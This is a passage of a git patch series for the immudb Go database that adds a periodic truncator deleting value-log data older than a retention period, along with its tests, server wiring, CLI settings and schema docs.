Test_vlogCompactor_WithSingleIO(t *testing.T) { deletePointTx := uint64(5) hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) for i := deletePointTx; i <= 10; i++ { @@ -181,7 +182,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { deletePointTx := uint64(15) hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) for i := deletePointTx; i <= 30; i++ { @@ -250,7 +251,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { } } - c := newVlogTruncator(db) + c := NewVlogTruncator(db) hdr, err := c.Plan(queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) @@ -321,7 +322,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) // should add an extra transaction with catalogue @@ -393,7 +394,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { deletePointTx := uint64(1) hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) // ensure that a transaction is added for the sql catalog commit @@ -450,7 +451,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) // should add an extra transaction with catalogue @@ -479,7 +480,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) // should add an extra transaction with catalogue @@ -511,40 +512,40 @@ func Test_vlogTruncator_isRetentionPeriodReached(t *testing.T) { { name: "retention period not reached", args: args{ - retentionPeriod: truncateToDay(time.Now().Add(-24 * time.Hour)), - txTs: truncateToDay(time.Now()), + retentionPeriod: TruncateToDay(time.Now().Add(-24 * time.Hour)), + txTs: TruncateToDay(time.Now()), }, wantErr: true, }, { name: "retention period reached", args: args{ - retentionPeriod: truncateToDay(time.Now().Add(-1 * time.Hour)), - txTs: truncateToDay(time.Now().Add(-2 * time.Hour)), + retentionPeriod: TruncateToDay(time.Now().Add(-1 * time.Hour)), + txTs: TruncateToDay(time.Now().Add(-2 * time.Hour)), }, wantErr: false, }, { name: "tx period before retention", args: args{ - retentionPeriod: truncateToDay(time.Now()), - txTs: truncateToDay(time.Now().Add(-48 * time.Hour)), + retentionPeriod: TruncateToDay(time.Now()), + txTs: TruncateToDay(time.Now().Add(-48 * time.Hour)), }, wantErr: false, }, { name: "tx period after retention", args: args{ - retentionPeriod: truncateToDay(time.Now()), - txTs: truncateToDay(time.Now().Add(48 * time.Hour)), + retentionPeriod: TruncateToDay(time.Now()), + txTs: TruncateToDay(time.Now().Add(48 * time.Hour)), }, wantErr: true, }, { name: "tx period equal to retention", args: args{ - retentionPeriod: truncateToDay(time.Now().Add(48 * time.Hour)), - txTs: truncateToDay(time.Now().Add(48 * time.Hour)), + retentionPeriod: TruncateToDay(time.Now().Add(48 * time.Hour)), + txTs: TruncateToDay(time.Now().Add(48 * time.Hour)), }, wantErr: false, }, @@ -601,7 +602,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { deletePointTx := uint64(5) hdr, err := db.st.ReadTxHeader(deletePointTx, false) require.NoError(t, err) - c := newVlogTruncator(db) + c := NewVlogTruncator(db) require.NoError(t, c.Truncate(hdr)) close(doneTruncateCh) }() @@ -609,3 +610,26 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { <-doneWritesCh <-doneTruncateCh } + +func Test_TruncateToDay(t *testing.T) { + type args struct { + t time.Time + } + tests := []struct { + name string + args args + want time.Time + }{ + { + args: args{t: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC)}, + want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := TruncateToDay(tt.args.t); !reflect.DeepEqual(got, tt.want) { + t.Errorf("TruncateToDay() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 35d80986e9..9853ad1a38 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -772,6 +772,10 @@ func (opts *dbOptions) isReplicatorRequired() bool { opts.PrimaryPort > 0 } +func (opts *dbOptions) isDataRetentionEnabled() bool { + return opts.RetentionPeriod > 0 +} + func (s *ImmuServer) saveDBOptions(options *dbOptions) error { serializedOptions, err := json.Marshal(options) if err != nil { diff --git a/pkg/server/db_options_test.go b/pkg/server/db_options_test.go index 25ce2e8ea9..abb2174788 100644 --- a/pkg/server/db_options_test.go +++ b/pkg/server/db_options_test.go @@ -109,4 +109,10 @@ func TestPrimaryOptions(t *testing.T) { opts.SyncAcks = -1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) + + opts.TruncationFrequency = -1 + require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) + + opts.RetentionPeriod = -1 + require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) } diff --git a/pkg/server/errors.go b/pkg/server/errors.go index af47c12ff2..319141969d 100644 --- a/pkg/server/errors.go +++ b/pkg/server/errors.go @@ -54,6 +54,8 @@ var ( ErrReadWriteTxNotOngoing = errors.New("read write transaction not ongoing") ErrTxReadConflict = errors.New(store.ErrTxReadConflict.Error()).WithCode(errors.CodInFailedSqlTransaction) ErrDatabaseAlreadyLoaded = errors.New("database already loaded") + ErrTruncatorNotNeeded = errors.New("truncator is not needed") + ErrTruncatorNotInProgress = errors.New("truncation is not in progress") ) func mapServerError(err error) error { diff --git a/pkg/server/server.go b/pkg/server/server.go index f4e7f2887a..975cef3131 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -31,6 +31,7 @@ import ( "unicode" "github.com/codenotary/immudb/pkg/server/sessions" + "github.com/codenotary/immudb/pkg/truncator" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/store" @@ -616,6 +617,13 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora } } + if dbOpts.isDataRetentionEnabled() { + err = s.startTruncatorFor(db, dbOpts) + if err != nil { + s.Logger.Errorf("Error starting truncation for database '%s'. Reason: %v", db.GetName(), err) + } + } + s.dbList.Put(db) } @@ -717,6 +725,8 @@ func (s *ImmuServer) Stop() error { s.stopReplication() + s.stopTruncation() + return s.CloseDatabases() } @@ -932,6 +942,11 @@ func (s *ImmuServer) CreateDatabaseV2(ctx context.Context, req *schema.CreateDat return nil, fmt.Errorf("%w: while starting replication", err) } + err = s.startTruncatorFor(db, dbOpts) + if err != nil && err != ErrTruncatorNotNeeded { + return nil, fmt.Errorf("%w: while starting truncation", err) + } + return &schema.CreateDatabaseResponse{ Name: req.Name, Settings: dbOpts.databaseNullableSettings(), @@ -1006,6 +1021,11 @@ func (s *ImmuServer) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseR } } + err = s.startTruncatorFor(db, dbOpts) + if err != nil && err != ErrTruncatorNotNeeded { + return nil, fmt.Errorf("%w: while starting truncation", err) + } + return &schema.LoadDatabaseResponse{ Database: req.Database, }, nil @@ -1069,6 +1089,13 @@ func (s *ImmuServer) UnloadDatabase(ctx context.Context, req *schema.UnloadDatab } } + if dbOpts.isDataRetentionEnabled() { + err = s.stopTruncatorFor(req.Database) + if err != nil && err != ErrTruncatorNotInProgress { + return nil, fmt.Errorf("%w: while stopping truncation", err) + } + } + err = db.Close() if err != nil { return nil, err @@ -1215,6 +1242,13 @@ func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDat } } + if req.Settings.RetentionPeriod != nil && req.Settings.TruncationFrequency != nil && !db.IsClosed() { + err = s.stopTruncatorFor(req.Database) + if err != nil && err != ErrTruncatorNotInProgress { + return nil, fmt.Errorf("%w: while stopping truncation", err) + } + } + err = s.overwriteWith(dbOpts, req.Settings, true) if err != nil { return nil, err @@ -1240,6 +1274,13 @@ func (s *ImmuServer) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDat } } + if req.Settings.RetentionPeriod != nil && req.Settings.TruncationFrequency != nil && !db.IsClosed() { + err = s.startTruncatorFor(db, dbOpts) + if err != nil && err != ErrTruncatorNotNeeded { + return nil, fmt.Errorf("%w: while starting truncation", err) + } + } + return &schema.UpdateDatabaseResponse{ Database: req.Database, Settings: dbOpts.databaseNullableSettings(), @@ -1639,7 +1680,8 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD } rp := time.Duration(req.RetentionPeriod.Value) * time.Millisecond - err = db.Truncate(rp) + truncator := truncator.NewTruncator(db, s.Logger) + err = truncator.Truncate(rp) if err != nil { return nil, err } diff --git a/pkg/server/truncator.go b/pkg/server/truncator.go new file mode 100644 index 0000000000..4fdb022f1a --- /dev/null +++ b/pkg/server/truncator.go @@ -0,0 +1,85 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package server + +import ( + "github.com/codenotary/immudb/pkg/database" + "github.com/codenotary/immudb/pkg/truncator" +) + +func (s *ImmuServer) truncationInProgressFor(db string) bool { + _, ok := s.truncators[db] + return ok +} + +func (s *ImmuServer) startTruncatorFor(db database.DB, dbOpts *dbOptions) error { + if !dbOpts.isDataRetentionEnabled() { + s.Logger.Infof("Truncation for database '%s' is not required.", db.GetName()) + return ErrTruncatorNotNeeded + } + + s.truncatorMutex.Lock() + defer s.truncatorMutex.Unlock() + + if s.truncationInProgressFor(db.GetName()) { + return database.ErrTruncatorAlreadyRunning + } + + t := truncator.NewTruncator(db, s.Logger) + err := t.Start() + if err != nil { + return err + } + + s.truncators[db.GetName()] = t + + return nil +} + +func (s *ImmuServer) stopTruncatorFor(db string) error { + s.truncatorMutex.Lock() + defer s.truncatorMutex.Unlock() + + t, ok := s.truncators[db] + if !ok { + return ErrTruncatorNotInProgress + } + + err := t.Stop() + if err == truncator.ErrTruncatorAlreadyStopped { + return nil + } + if err != nil { + return err + } + + delete(s.truncators, db) + + return nil +} + +func (s *ImmuServer) stopTruncation() { + s.truncatorMutex.Lock() + defer s.truncatorMutex.Unlock() + + for db, f := range s.truncators { + err := f.Stop() + if err != nil { + s.Logger.Warningf("Error stopping truncator for '%s'. Reason: %v", db, err) + } + } +} diff --git a/pkg/server/truncator_test.go b/pkg/server/truncator_test.go new file mode 100644 index 0000000000..bac647fc0b --- /dev/null +++ b/pkg/server/truncator_test.go @@ -0,0 +1,84 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package server + +import ( + "context" + "testing" + "time" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/auth" + "github.com/codenotary/immudb/pkg/database" + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" +) + +func TestServerTruncator(t *testing.T) { + serverOptions := DefaultOptions(). + WithDir(t.TempDir()). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithAuth(true). + WithPort(3324) + + s, closer := testServer(serverOptions) + defer closer() + + err := s.Initialize() + require.NoError(t, err) + + r := &schema.LoginRequest{ + User: []byte(auth.SysAdminUsername), + Password: []byte(auth.SysAdminPassword), + } + + ctx := context.Background() + lr, err := s.Login(ctx, r) + require.NoError(t, err) + + md := metadata.Pairs("authorization", lr.Token) + ctx = metadata.NewIncomingContext(context.Background(), md) + + dt := 24 * time.Hour + newdb := &schema.CreateDatabaseRequest{ + Name: "db", + Settings: &schema.DatabaseNullableSettings{ + RetentionPeriod: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + TruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, + }, + } + + _, err = s.CreateDatabaseV2(ctx, newdb) + require.NoError(t, err) + + db, err := s.dbList.GetByName("db") + require.NoError(t, err) + dbOpts, err := s.loadDBOptions("db", false) + require.NoError(t, err) + + err = s.startTruncatorFor(db, dbOpts) + require.ErrorIs(t, err, database.ErrTruncatorAlreadyRunning) + + err = s.stopTruncatorFor(db.GetName()) + require.NoError(t, err) + + err = s.stopTruncatorFor("db2") + require.ErrorIs(t, err, ErrTruncatorNotInProgress) + + s.stopTruncation() +} diff --git a/pkg/server/types.go b/pkg/server/types.go index 99fe77d9b5..e7b7970049 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -24,6 +24,7 @@ import ( "sync" "github.com/codenotary/immudb/pkg/server/sessions" + "github.com/codenotary/immudb/pkg/truncator" "github.com/codenotary/immudb/embedded/remotestorage" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" @@ -60,6 +61,9 @@ type ImmuServer struct { replicators map[string]*replication.TxReplicator replicationMutex sync.Mutex + truncators map[string]*truncator.Truncator + truncatorMutex sync.Mutex + Logger logger.Logger Options *Options Listener net.Listener @@ -90,6 +94,7 @@ func DefaultServer() *ImmuServer { OS: immuos.NewStandardOS(), dbList: database.NewDatabaseList(), replicators: make(map[string]*replication.TxReplicator), + truncators: make(map[string]*truncator.Truncator), Logger: logger.NewSimpleLogger("immudb ", os.Stderr), Options: DefaultOptions(), quit: make(chan struct{}), diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go new file mode 100644 index 0000000000..a3986fc6a1 --- /dev/null +++ b/pkg/truncator/truncator.go @@ -0,0 +1,190 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package truncator + +import ( + "errors" + "sync" + "time" + + "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/database" + "github.com/codenotary/immudb/pkg/logger" +) + +var ( + ErrTruncatorAlreadyRunning = errors.New("truncator already running") + ErrTruncatorAlreadyStopped = errors.New("truncator already stopped") +) + +func NewTruncator(db database.DB, logger logger.Logger) *Truncator { + t := &Truncator{ + db: db, + logger: logger, + retentionPeriodF: getRetentionPeriod, + truncators: make([]database.Truncator, 0), + donech: make(chan struct{}), + stopch: make(chan struct{}), + } + t.truncators = append(t.truncators, database.NewVlogTruncator(db)) + return t +} + +type Truncator struct { + mu sync.Mutex + + truncators []database.Truncator // specifies truncators for multiple appendable logs + + hasStarted bool + + db database.DB + + logger logger.Logger + retentionPeriodF func(ts time.Time, retentionPeriod time.Duration) time.Time + + donech chan struct{} + stopch chan struct{} +} + +// runTruncator triggers periodically to truncate multiple appendable logs +func (t *Truncator) Start() error { + t.mu.Lock() + defer t.mu.Unlock() + + if t.hasStarted { + return ErrTruncatorAlreadyRunning + } + + opts := t.db.GetOptions() + t.hasStarted = true + t.logger.Infof("starting truncator for db '%s' with retention period '%v' and truncation frequency '%v'", t.db.GetName(), opts.RetentionPeriod.Seconds(), opts.TruncationFrequency.Seconds()) + + go func() { + ticker := time.NewTicker(opts.TruncationFrequency) + for { + select { + case <-t.stopch: + ticker.Stop() + t.donech <- struct{}{} + return + case <-ticker.C: + // The timestamp ts is used to determine which transaction onwards the data + // may be deleted from the value-log. + // + // Subtracting a duration from ts will add a buffer for when transactions are + // considered safe for deletion. + + // Truncate time to the beginning of the day. + ts := t.retentionPeriodF(time.Now(), opts.RetentionPeriod) + t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) + if err := t.truncate(ts); err != nil { + if errors.Is(err, database.ErrRetentionPeriodNotReached) { + t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", t.db.GetName(), ts.String()) + } else if errors.Is(err, store.ErrTxNotFound) { + t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {err = %v}", t.db.GetName(), err) + } else { + t.logger.Errorf("failed to truncate database '%s' {ts = %v}", t.db.GetName(), err) + } + } else { + t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) + } + t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) + } + } + }() + return nil +} + +// truncate discards an appendable log upto a given offset +// before time ts. First, the transaction is fetched which lies +// before the specified time period, and then the values are +// discarded upto the specified offset. +// +// discard point +// | +// | +// v +// --------+-------+--------+---------- +// | | | +// tn-1:vx tn:vx tn+1:vx +// +func (t *Truncator) truncate(ts time.Time) error { + for _, c := range t.truncators { + // Plan determines the transaction header before time period ts. If a + // transaction is not found, or if an error occurs fetching the transaction, + // then truncation does not run for the specified appendable. + hdr, err := c.Plan(ts) + if err != nil { + if err != database.ErrRetentionPeriodNotReached && err != store.ErrTxNotFound { + t.logger.Errorf("failed to plan truncation for database '%s' {err = %v}", t.db.GetName(), err) + } + // If no transaction is found, or if an error occurs, then continue + return err + } + + // Truncate discards the appendable log upto the offset + // specified in the transaction hdr + err = c.Truncate(hdr) + if err != nil { + t.logger.Errorf("failed to truncate database '%s' {err = %v}", t.db.GetName(), err) + } + } + + return nil +} + +func (t *Truncator) Stop() error { + t.mu.Lock() + defer t.mu.Unlock() + + if !t.hasStarted { + return ErrTruncatorAlreadyStopped + } + + t.logger.Infof("Stopping truncator of database '%s'...", t.db.GetName()) + t.stopch <- struct{}{} + <-t.donech + t.hasStarted = false + t.logger.Infof("Truncator for database '%s' successfully stopped", t.db.GetName()) + + return nil +} + +// Truncate discards all data from the database that is older than the retention period. +func (t *Truncator) Truncate(retentionPeriod time.Duration) error { + ts := t.retentionPeriodF(time.Now(), retentionPeriod) + t.logger.Infof("start truncating database '%s' {ts = %v}", t.db.GetName(), ts) + if err := t.truncate(ts); err != nil { + if errors.Is(err, database.ErrRetentionPeriodNotReached) { + t.logger.Infof("retention period not reached for truncating database '%s' at {ts = %s}", t.db.GetName(), ts.String()) + } else if errors.Is(err, store.ErrTxNotFound) { + t.logger.Infof("no transaction found beyond specified truncation timeframe for database '%s' {reason = %v}", t.db.GetName(), err) + } else { + t.logger.Errorf("failed truncating database '%s' {ts = %v}", t.db.GetName(), err) + } + return err + } + + t.logger.Infof("finished truncating database '%s' {ts = %v}", t.db.GetName(), ts) + return nil +} + +// getRetentionPeriod returns the timestamp that is used to determine +// which database.transaction up to which the data may be deleted from the value-log. +func getRetentionPeriod(ts time.Time, retentionPeriod time.Duration) time.Time { + return database.TruncateToDay(ts.Add(-1 * retentionPeriod)) +} diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go new file mode 100644 index 0000000000..8427a8327f --- /dev/null +++ b/pkg/truncator/truncator_test.go @@ -0,0 +1,211 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package truncator + +import ( + "context" + "fmt" + "os" + "reflect" + "testing" + "time" + + "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/database" + "github.com/codenotary/immudb/pkg/logger" + "github.com/stretchr/testify/require" +) + +func makeDbWith(t *testing.T, dbName string, opts *database.Options) database.DB { + d, err := database.NewDB(dbName, nil, opts, logger.NewSimpleLogger("immudb ", os.Stderr)) + require.NoError(t, err) + + t.Cleanup(func() { + err := d.Close() + if !t.Failed() { + require.NoError(t, err) + } + }) + + return d +} + +func TestDatabase_truncate_with_duration(t *testing.T) { + rootPath := t.TempDir() + + options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + so := options.GetStoreOptions() + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + so.MaxIOConcurrency = 1 + options.WithStoreOptions(so) + + db := makeDbWith(t, "db", options) + tr := NewTruncator(db, logger.NewSimpleLogger("immudb ", os.Stderr)) + tr.retentionPeriodF = func(ts time.Time, retentionPeriod time.Duration) time.Time { + return ts.Add(-1 * retentionPeriod) + } + + t.Run("truncate with duration", func(t *testing.T) { + var queryTime time.Time + for i := 1; i <= 20; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.TODO(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + if i == 10 { + queryTime = time.Now() + } + } + + c := database.NewVlogTruncator(db) + hdr, err := c.Plan(queryTime) + require.NoError(t, err) + require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) + + dur := time.Since(queryTime) + err = tr.Truncate(dur) + require.NoError(t, err) + + for i := uint64(1); i < hdr.ID-1; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + + _, err := db.Get(context.TODO(), &schema.KeyRequest{Key: kv.Key}) + require.Error(t, err) + } + + for i := hdr.ID; i <= 20; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + + item, err := db.Get(context.TODO(), &schema.KeyRequest{Key: kv.Key}) + require.NoError(t, err) + require.Equal(t, kv.Key, item.Key) + require.Equal(t, kv.Value, item.Value) + } + }) + + t.Run("truncate with retention period in the past", func(t *testing.T) { + ts := time.Now().Add(-24 * time.Hour) + dur := time.Since(ts) + err := tr.Truncate(dur) + require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) + }) + + t.Run("truncate with retention period in the future", func(t *testing.T) { + ts := time.Now().Add(24 * time.Hour) + dur := time.Since(ts) + err := tr.Truncate(dur) + require.ErrorIs(t, err, store.ErrTxNotFound) + }) + +} + +func TestTruncator(t *testing.T) { + rootPath := t.TempDir() + + options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + so := options.GetStoreOptions() + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + so.MaxIOConcurrency = 1 + options.WithStoreOptions(so) + + db := makeDbWith(t, "db", options) + tr := NewTruncator(db, logger.NewSimpleLogger("immudb ", os.Stderr)) + + err := tr.Stop() + require.ErrorIs(t, err, ErrTruncatorAlreadyStopped) + + err = tr.Start() + require.NoError(t, err) + + err = tr.Start() + require.ErrorIs(t, err, ErrTruncatorAlreadyRunning) + + err = tr.Stop() + require.NoError(t, err) +} + +func TestTruncator_with_truncation_frequency(t *testing.T) { + rootPath := t.TempDir() + + options := database.DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + so := options.GetStoreOptions() + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + so.MaxIOConcurrency = 1 + options.WithStoreOptions(so) + options.WithTruncationFrequency(10 * time.Millisecond) + + db := makeDbWith(t, "db", options) + tr := NewTruncator(db, logger.NewSimpleLogger("immudb ", os.Stderr)) + + err := tr.Start() + require.NoError(t, err) + + time.Sleep(15 * time.Millisecond) + + err = tr.Stop() + require.NoError(t, err) +} + +func Test_GetRetentionPeriod(t *testing.T) { + type args struct { + ts time.Time + retentionPeriod time.Duration + } + tests := []struct { + name string + args args + want time.Time + }{ + { + args: args{ + ts: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC), + retentionPeriod: 24 * time.Hour, + }, + want: time.Date(2019, 12, 31, 0, 0, 0, 0, time.UTC), + }, + { + args: args{ + ts: time.Date(2020, 1, 2, 10, 20, 30, 40, time.UTC), + retentionPeriod: 24 * time.Hour, + }, + want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), + }, + { + args: args{ + ts: time.Date(2020, 1, 1, 11, 20, 30, 40, time.UTC), + retentionPeriod: 0, + }, + want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := getRetentionPeriod(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) { + t.Errorf("GetRetentionPeriod() = %v, want %v", got, tt.want) + } + }) + } +} From dd65f077477f2a678124b24ecf7fe3c3b8e77110 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 23 Jan 2023 07:16:57 +0530 Subject: [PATCH 0176/1062] chore(cmd/immuadmin): modify truncation settings schema --- cmd/immuadmin/command/database.go | 27 +- pkg/api/schema/docs.md | 20 +- pkg/api/schema/schema.pb.go | 2643 +++++++++++---------- pkg/api/schema/schema.proto | 15 +- pkg/api/schema/schema.swagger.json | 23 +- pkg/integration/database_creation_test.go | 10 +- pkg/server/db_options.go | 18 +- pkg/server/server.go | 4 +- pkg/server/truncator_test.go | 6 +- pkg/truncator/truncator.go | 2 +- 10 files changed, 1442 insertions(+), 1326 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 409ca34707..94e703ef81 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -508,16 +508,23 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } - ret.RetentionPeriod, err = condDuration("retention-period") + retentionPeriod, err := condDuration("retention-period") if err != nil { return nil, err } - ret.TruncationFrequency, err = condDuration("truncation-frequency") + truncationFrequency, err := condDuration("truncation-frequency") if err != nil { return nil, err } + if retentionPeriod != nil || truncationFrequency != nil { + ret.TruncationSettings = &schema.TruncationNullableSettings{ + RetentionPeriod: retentionPeriod, + TruncationFrequency: truncationFrequency, + } + } + return ret, nil } @@ -557,14 +564,16 @@ func databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) stri propertiesStr = append(propertiesStr, fmt.Sprintf("autoload: %v", settings.Autoload.GetValue())) } - if settings.RetentionPeriod != nil { - retDur := time.Duration(settings.GetRetentionPeriod().GetValue()) * time.Millisecond - propertiesStr = append(propertiesStr, fmt.Sprintf("retention-period: %v", retDur)) - } + if settings.TruncationSettings != nil { + if settings.TruncationSettings.RetentionPeriod != nil { + retDur := time.Duration(settings.TruncationSettings.GetRetentionPeriod().GetValue()) * time.Millisecond + propertiesStr = append(propertiesStr, fmt.Sprintf("retention-period: %v", retDur)) + } - if settings.TruncationFrequency != nil { - freq := time.Duration(settings.GetTruncationFrequency().GetValue()) * time.Millisecond - propertiesStr = append(propertiesStr, fmt.Sprintf("truncation-frequency: %v", freq)) + if settings.TruncationSettings.TruncationFrequency != nil { + freq := time.Duration(settings.TruncationSettings.GetTruncationFrequency().GetValue()) * time.Millisecond + propertiesStr = append(propertiesStr, fmt.Sprintf("truncation-frequency: %v", freq)) + } } return strings.Join(propertiesStr, ", ") diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 55e251bb61..fcf891e6f9 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -100,6 +100,7 @@ - [Table](#immudb.schema.Table) - [TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest) - [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse) + - [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) - [Tx](#immudb.schema.Tx) - [TxEntry](#immudb.schema.TxEntry) - [TxHeader](#immudb.schema.TxHeader) @@ -451,8 +452,7 @@ DEPRECATED | maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of pre-committed transactions | | mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | | vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for value logs | -| retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Retention Period for data in the database | -| truncationFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Truncation Frequency for the database | +| truncationSettings | [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) | | Truncation settings | @@ -1766,6 +1766,22 @@ ServerInfoResponse contains information about the server instance. + + +### TruncationNullableSettings + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Retention Period for data in the database | +| truncationFrequency | 